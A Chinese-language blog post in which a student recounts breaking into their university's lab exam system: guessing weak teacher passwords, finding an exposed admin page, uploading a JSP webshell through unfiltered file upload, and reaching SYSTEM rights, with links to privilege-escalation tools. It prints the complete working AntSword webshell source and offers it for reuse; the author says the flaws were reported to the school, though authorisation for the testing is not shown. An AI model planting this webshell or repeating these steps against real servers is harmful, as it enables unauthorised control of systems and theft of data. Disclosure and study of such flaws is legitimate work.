记录一次对青科实验考试系统的渗透测试,这是我人生第一次成功进入服务器后台,很是兴奋,于是记录下来。
我们学校的实验考试系统的漏洞是在太多了 (真的真的真的很多),
截止目前,已经全部反映给学校网络信息办公室,
希望他们能好好修一修,
相关信息已经隐藏。
希望有一天能有 CTF 的水平吧(我在妄想)
究极无语,我有一个学生账号,登进去后确实没任何权限,但是头像上传那里可以直接传jsp,是一点过滤也没有啊,然后直接上传木马拿 shell 就完事了。
我们假装没有账号,从0开始。
从登录界面入手,扫一波sql注入(哈哈ha,我还停留在:'or 1=1 的水平)
我真的试了像添加 #、//、url编码形式各种各样的sql语句,又拿sqlmap跑了一遍,还是没有发现。
决定直接跑弱密码字典,果然拿到了几个普通老师账号,
很离谱,账号密码一样的,我估计现在他们也没改。
进入后同样在修改头像界面,找到上传点,目标达成。
这里我们假装没有上传点,继续分析
分析一下源码文件吧,发现编代码的家伙直接把管理地址写在了前端
没有权限过滤,直接进后台(懵住,还有这种操作)
网站配置全暴露了
在软件管理这,找到配置文件上传,没有任何过滤,我们直接上传 jsp小马
需要注意的是木马被上传到了临时文件中,随时会被清除,我们先用蚁剑连上,然后在重新上传木马到正式文件夹中。
分享一下我的木马吧:
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
Class base64;
byte[] value = null;
try {
base64=Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
} catch (Exception e) {
try {
base64=Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
} catch (Exception ee) {}
}
return value;
}
%>
<%
String cls = request.getParameter("ant");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(new Object[]{request,response});
}
%>
蚁剑连接界面:
发现这台服务器上还运行着好几个web服务,却没有做防跨站处理。
打开终端,查看为system组别,
我们拿到了服务器的所有权限
总结需要修bug的地方:
至于提权,你可以搜一下Windows-Exploit-Suggeste的使用方法,自动扫Windows Server中有哪些漏洞可以利用,然后去github上下载 exp,拿到webshell后用漏洞提权。
下面放上github的链接:
https://github.com/AonCyberLabs/Windows-Exploit-Suggester 原版--依赖于python2
https://github.com/Pwnistry/Windows-Exploit-Suggester-python3 python3重写的
https://github.com/Ruiruigo/WinEXP web版的
就这样,下次见各位。